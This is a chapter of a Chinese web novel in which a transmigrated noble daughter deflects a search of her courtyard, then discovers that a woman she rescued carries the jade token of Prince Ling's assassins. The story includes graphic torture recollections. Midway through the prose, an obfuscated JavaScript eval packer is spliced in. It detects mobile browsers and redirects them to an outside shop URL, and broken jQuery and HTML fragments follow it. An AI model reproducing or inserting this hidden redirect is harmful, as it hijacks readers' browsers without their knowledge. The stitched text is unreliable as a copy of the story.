虽然来的是二房家的嫂嫂和侄儿,但府里闹了贼,传回阳原难免会被族里诟病她这个主母治家不严。
自从父亲和哥哥去了,多少人盯着她这个长阳侯府主母的位置,她不能给他们留下什么话柄。
“璟儿说的是。侯爷觉得呢?”柳如云抬手让江璟儿起来,又侧头看了眼江伯玉。
江伯玉点点头:“过几日宫里会派一位嬷嬷来教习礼仪,若是到时再闹出什么来冲撞了嬷嬷,传回宫中恐怕会受到佳贵妃的责骂。渺儿的婚事不能因为这些个奴才受到影响!”
说到江渺的婚事,柳如云立刻下令要去搜查偏院。
江渺瞪了一眼脸上挂着得逞微笑江璟儿,突然开口劝道:“母亲!不可!”
“有何不可?”江伯玉不解,先开口反问。
“回父亲。本来女儿是想给母亲一个惊喜。几日前女儿求来一道偏方,说是养胎安神有奇效。只是这药丸有些忌讳,必须要在偏院这种人少通风之处炼制。所以女儿在偏院设置了药鼎,如今正是关键时期,若是贸然搜查破坏了炼制,女儿……。”
江渺学着江璟儿委屈的样子,眼泪悬而未滴,看得让人心疼。
江伯玉一听,恍惚想起那日江渺提着箱子神色匆匆去后院,想来也是为了炼制安神药?
女儿如此懂事,他还斥责她?
顿时心中多了几分愧疚,正要开口,柳如云先起来将江渺拉过去,温柔道:“我的渺儿,你那儿会这些啊?炼制丹药辛苦,难怪母亲看你瘦了……。”
被偏爱的总是有恃无恐,柳如云一听江渺为了她做这些,气消了,人精神了,搜查的事也抛在脑后了,只是一味的拉着女儿,感动得一塌糊涂。
江渺头靠在母亲的臂弯,透过胳膊看江璟儿。
她盯着她,目光复杂。
江渺看得见她捏紧的拳头,半晌,又将话题拉回来:“母亲,我敢保证,为了防止制药被打扰,我将偏院围得严严实实的,定不会有贼。但……”
她话锋一转,看向江璟儿:“璟儿姐姐丢了婶母的遗物也不是一件小事。”
“母亲!千防万防家贼难防!您看我院子里的落霞就是前车之鉴,既然如此,我看现在应该把涵清阁的这些个奴才都抓起来狠狠地拷问!势必要抓到那个“贼”才是!”
闻言,江璟儿有些不可置信的看着江渺。
怎么可能?
今日她听说江渺院子里出了事,以为她又打死了哪个侍女婆子,急急来到柳如云这里准备落井下石。
柳家要来,贵妃要结亲,江家夫妇定不会轻易的饶过在这个时候闯祸的江渺,定要将她禁足反省才是。
等到宫中嬷嬷来,她再使点小伎俩,关久了的江渺岂不是如脱缰的野马,定要闹得人仰马翻才是……。
可,竟不是她想的那样。
她听着江渺把她的人都换了,急中生智扯出了偏院的事情。她虽然不知道偏院有什么,但是以她对江渺的了解,定然不会是什么好事情。
只要让她抓到她的把柄,她定要狠狠地报江渺里间她们姐妹感情之仇!!
可……。
事情的发展怎么和想象中不太一样?
江璟儿整个身形不可控制的抖动了一下,她终于意识到江渺已经不是从前那个任她随意拿捏的蠢货了……。
那她院子里的人,经得住查吗?
“婶母!”
江璟儿噗通一声再次跪下,这次眼泪是真心急出来:“万万不可啊!涵清阁的下人都是璟儿入府时婶母亲自挑选安排的,若是都抓起来拷问,传出去,旁人岂不议论婶母识人不明?”
她哭着,如同受伤的小鹿令人心疼,说得字字在理:“璟儿,璟儿丢失母亲遗物固然心痛,但更不能因一己之私,损了婶母和侯府的清誉啊!”
柳如云果然犹豫了。
江伯玉见她为难的样子,直接开口道:“既如此,涵清阁的下人便不必公开拷问。如暗香斋一般关起来查吧,定要把那贼人抓住!”
江渺想要拒绝,但江璟儿抢先一步上前跪谢:“谢叔父,婶母。璟儿定然将此事办好,定不让那些贼人逍遥法外!”
江伯玉同意,柳如云也没反对,江渺便也不再说什么,对付江璟儿江渺有胜算,重要的还是要摸清楚她身后的势力才行。
先放她一马!
从主院出来以后,江渺径直去了外院。本来因着提灯节的事情,江伯玉让大家最近都不要外出,江渺还在想用什么借口求他放她出门。
江璟儿闹了这么一出,反倒让江渺抓住了机会,借着去牙行的由头,转身去了小巷子。
她先去荣华堂买了几件新衣裳,又去糕点铺买了些吃食。
花了多少钱?不知道!
反正全部记在侯府头上。
有钱有闲的日子可真是太好了!可惜这样的好生活并不属于她江渺。也难怪原主会得知林清月还活着的时候会那么崩溃,干出那些个疯狂的事情。
想了一想,心里不由地打定主意,等林清月回府以后,她自己也要建立自己的商业帝国,把上一辈子没享受过的福气都享受一遍!
毕竟,靠山山会倒,靠人人会跑。
靠自己才是硬道理!
在阿洛的引领下,她们来到一个小巷深处的僻静院落。
一开门,便瞧见昨日从桥下救回的女子正坐在树下仰头望着天空,嘀嘀咕咕地念叨着无人能懂的呓语。
照看她的婆子说,女子从来到这个院子就一直是这个样子,不哭不闹,也不理人。自顾自地对着天空说话,能吃能喝,就是不能听懂,像是脑子不清楚。
江渺挥手让婆子下去,只留下阿洛一人在旁伺候。她打开带来的药箱,照常先给女子把脉,却发觉她脉象沉稳有力,如同滔滔江水,倒不似这个年纪女子应有的脉象。
疑惑中,江渺对其进行了全身的检查,发现女子手上多处长着深厚的老茧,身上也有不同程度的伤疤。
原来是个习武之人。江渺虽然没有练过武,但是她身上的特征,江渺在南宫煜的身上看到过。
那天晚上在藏书阁,南宫煜带着她躲避那呼啸而过的短箭时,江渺就知道南宫煜应该是一个武功高手。
眼前的女子,应该也是一个练家子。
她一边思索着,一边对她进行体格检查,就在触及到她腰间的时候,一块玉佩从她的身上掉落下来。
江渺低头一看,顿时浑身的血液都凝滞在了一起。
她……,居然是陵王的人。
这块玉佩江渺认得,那是她梦里反复出现的一个画面,四四方方的水牢,爬满了蛆虫和老鼠。
原主被挂在十字木桩上,陵王的脸在瞳孔里放大又模糊,最后变成一片猩红。
那时,不顾哀嚎砍断原主四肢,将她丢弃在水牢角落的人,就佩戴着这样的玉佩。
他们是陵王府的杀手。
江渺的目光再次落在女子满是泥泞,却略显稚嫩的脸庞上,如芒在背。
妈呀,她捡了一个什么人回来?
杀手!还是原主的仇人家的!
她可真会捡!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833182|189262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“小姐,您没事吧!”阿洛见江渺一瞬失神,身形有些不稳,赶忙扶住她。
被她这么一拉,江渺瞬间清醒过来。
对呀,她怕什么?现在她和陵王还不是仇人,论算起来她还是他的相亲对象,一切都没发生,她不会死!
深吸一口气,江渺想起了一些她本想忘记的画面。
那时,她还是鬼,陪原主在暗无天日的牢房里发呆时听狱卒们讨论过。
陵王府除了自己的府兵外,还私下培植了两股力量。
其一,是昨日江渺在酒楼所见的暗卫。转司保护陵王安全,执行机密任务。身上佩戴专有令牌,常人不能识别出来。
其二,则是更阴狠诡谲的杀手,统称影魅。这些杀手并非由陵王府直接培养,而来自江湖上的一个神秘组织。他们与陵王府直接签订契约,从各地搜罗根骨奇佳的幼童,或是无家可归的孤儿,将其从小送入秘密之地进行残酷训练。
这些孩子被抹去过去,在血腥与厮杀中长大,所学唯有忠诚与杀戮,是真正的冷血兵器。
而其中姿色上乘的女子,则会被单独编例。她们不仅要精通各种刺杀技巧,还会研习歌舞才艺,诗书礼仪,乃至床第技巧,魅惑人心。
这群女子既能作为精心准备的厚礼,赠予朝堂重臣、边防将领,于枕席之间探听机密、施加影响。
也能在必要时,化身为艳色利刃,于觥筹交错间,或是芙蓉帐暖里,悄无声息地取人性命。
江渺对这种行为嗤之以鼻。
男子争朝堂无可厚非,却要女子以清白为饵,色相为刃,行此为人所不齿的伎俩。江渺更添几分对陵王其人的鄙夷。
一想到原主竟然对这样的人死心塌地,如痴如狂,要不是她是鬼,她真想给她两棒子。
不过,被陵王千刀万剐,她应该也很后悔怎么爱上了这样一个人吧。
江渺叹口气,又想起狱卒说过,王府水牢深处也关押着一群不听话的影魅。其中有个女子最为凄惨,日日饱受酷刑却不肯吐露帮着逃跑的妹妹的下落。
江渺曾偷偷飘过去看过这女子,胳膊以下的皮肉皆被细密的铁刷一遍遍刷去,露出森森白骨。十指被寸寸折断,又用盐水日日浸泡。纵使如此,女子也未曾哀嚎半声。
她整个人被挂在黑暗里,江渺看不清她的容颜。纵使她见过太多的皮开肉绽,血肉翻飞,眼前的一幕还是让她心惊不已。她是由衷的佩服这个女子。
可惜她什么也做不了。
后来,原主被折磨得生不如死,日日夜夜哀嚎声,怒骂声在水牢里回荡。有个魅影不堪其扰,抬手割掉了她的舌头。
江渺觉得太过残忍,又飘到那个女子身旁,正看到一人提着一个头颅给那女子看了一眼。女子染血的脸立刻露出狰狞的笑,头一歪,竟气绝而亡。
一个想法突然从脑海里一闪而过。
莫非……。
江渺定了定神,再次打量起眼前的女子,虽然稚嫩,眉眼之间已是绝色。
赌一把吧!搏一搏,单车变摩托!
“阿洛,准备银针。”女子在阿洛的帮助下被梳洗干净,江渺也趁此机会再次为她做了一次全身检查。发现身上除了一些伤痕伤疤外,并无其他的致命伤。
但是为何会变得痴痴傻傻的,想来应该还是脑部的问题。可她这情况又不似丹桂,丹桂有外伤,而女子却没有。
既无外伤,却神智尽失,言语混沌,细想后,江渺推测她应该是短时间内受到了一定的超出承受极限的精神刺激而导致的离魂症。